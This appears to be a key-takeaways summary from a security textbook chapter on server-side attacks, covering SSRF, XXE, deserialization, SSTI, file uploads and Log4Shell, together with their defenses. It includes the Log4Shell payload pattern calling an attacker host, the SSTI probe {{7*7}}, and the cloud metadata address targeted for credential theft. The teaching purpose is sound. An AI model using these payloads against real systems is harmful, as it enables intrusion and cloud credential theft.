Chapter 22 Key Takeaways: Server-Side Attacks

Core Principles

Server-side attacks exploit trusted processing. The common thread across SSRF, XXE, deserialization, SSTI, file uploads, and JNDI injection is the exploitation of trust — trust in internal networks, data format processing, serialized objects, and user-provided content.
Server-side attacks yield the highest impact. Unlike client-side attacks that target individual users, server-side exploitation provides direct access to application infrastructure, internal networks, cloud credentials, and backend data stores.
Default-insecure configurations are the root cause. XML external entities, JNDI lookups, and broad deserialization are typically enabled by default in their respective libraries. Secure configuration requires explicit action.

SSRF transforms the application into an attacker-controlled proxy. The server makes requests from its network position — with access to internal services, cloud metadata, and localhost-bound interfaces that the attacker cannot reach directly.
In cloud environments, SSRF leads to credential theft. The AWS Instance Metadata Service (169.254.169.254) returns temporary IAM credentials that may grant access to S3 buckets, databases, and other cloud resources. The Capital One breach demonstrated this attack chain at scale.
IMDSv2 is the primary defense against SSRF credential theft. IMDSv2 requires a PUT request with a custom header to obtain a session token, which most SSRF vulnerabilities cannot perform. Enforce IMDSv2 on all cloud instances.
SSRF filters can be bypassed through encoding, DNS, and URL parsing tricks. IP encoding variations, DNS rebinding, URL parser confusion, and protocol smuggling regularly bypass blocklist-based defenses. Allowlists are more reliable than blocklists.

XXE attacks exploit XML parsers that process external entities. Any endpoint that accepts XML — APIs, file uploads (SVG, XLSX, DOCX), SAML, SOAP — is a potential XXE target.
Blind XXE uses out-of-band exfiltration. When entity values are not reflected in responses, external DTDs can construct URLs that exfiltrate file contents via HTTP callbacks to attacker-controlled servers.
Disable external entity processing in all XML parsers. In Python, use defusedxml. In Java, disable FEATURE_EXTERNAL_GENERAL_ENTITIES. In PHP, use libxml_disable_entity_loader(true). Prefer JSON over XML where possible.

Deserialization of untrusted data is inherently dangerous. Java (ObjectInputStream), Python (pickle), PHP (unserialize), and .NET (BinaryFormatter) all allow code execution during object reconstruction.
Gadget chains turn existing code into exploitation tools. Attackers do not inject new code — they chain existing classes on the application's classpath to achieve code execution. Tools like ysoserial automate gadget chain generation.
The definitive defense is eliminating untrusted deserialization. Use JSON or other safe data formats. If deserialization is unavoidable, implement integrity checks (HMAC) and class allowlists.

SSTI occurs when user input becomes part of the template, not template data. The critical distinction: Template(user_input) is vulnerable; Template("{{ name }}").render(name=user_input) is safe.
Mathematical expressions are reliable SSTI detectors. {{7*7}} returning 49 confirms template injection. Follow up with engine-specific payloads to identify the template engine and achieve code execution.

Store uploaded files outside the web root and rename them. This single control defeats most file upload attacks by preventing web-accessible execution of uploaded content.
Validate both file extension and content. Extension-only validation is bypassed by double extensions, case variations, and null bytes. Content-only validation (magic bytes) is bypassed by polyglot files. Both must be validated together.

Log4Shell demonstrated that logging untrusted data can cause RCE. The ${jndi:ldap://attacker.com/x} pattern in any logged string triggered remote class loading in Log4j versions before 2.17.1.
WAF bypass techniques are extensive. Nested lookups, string concatenation, environment variable substitution, and other Log4j features created dozens of bypass variants for simple pattern-matching rules.
Maintain a Software Bill of Materials (SBOM). Log4Shell affected applications that included Log4j as a transitive dependency, often without the organization's knowledge. An SBOM enables rapid identification of affected systems during vulnerability response.

Server-side vulnerabilities chain for maximum impact. SSRF to discover internal services, then deserialization or XXE to exploit them. File disclosure via XXE to obtain credentials, then lateral movement. Always think in attack chains, not isolated vulnerabilities.